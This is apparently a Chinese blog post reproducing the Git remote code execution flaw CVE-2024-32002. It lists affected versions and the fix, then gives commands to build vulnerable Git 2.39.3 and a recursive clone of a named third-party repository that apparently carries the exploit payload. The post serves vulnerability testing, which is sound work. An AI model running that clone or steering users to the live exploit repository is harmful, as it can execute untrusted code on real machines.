Git 远程代码执行漏洞(CVE-2024-32002)复现
阅读目录
Git 远程代码执行漏洞(CVE-2024-32002)
漏洞标题:Git 远程代码执行漏洞(CVE-2024-32002)
影响版本:
- version 2.45.*< 2.45.1
- version 2.44.*< 2.44.1
- version 2.43.*< 2.43.4
- version 2.42.*< 2.42.2
- version 2.41.*< 2.41.1
- version 2.40.*< 2.40.2
- version 2.39.*< 2.39.4
修复方案:
官方已发布修复方案,受影响的用户建议更新至安全版本。
https://github.com/git/git/tags
提示:
命令行执行 git --version,查看是否在上述受漏洞影响的版本。
漏洞复现
环境准备
准备存在漏洞的 Git 版本,eg. https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.39.3.tar.gz
1 2 3 4 5 6 7 8 9 | # wget https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.39.3.tar.gz # tar -zxvf git-2.39.3.tar.gz # cd git-2.39.3 # make configure # ./configure --prefix=/usr/local # make all # sudo make install # git --version git version 2.39.3 |
漏洞测试
# git clone --recursive git@github.com:starnightcyber/captain.git hooked
测试完记得替换成安全的 Git 版本,以上!
参考资料/Materials
https://nvd.nist.gov/vuln/detail/CVE-2024-32002
https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
-------------------------------------------
个性签名:如果世上的事都按你说的道理走 世界就不是现在这样了!
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
分类:
Exploits
标签:
CVE-2024-32002
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析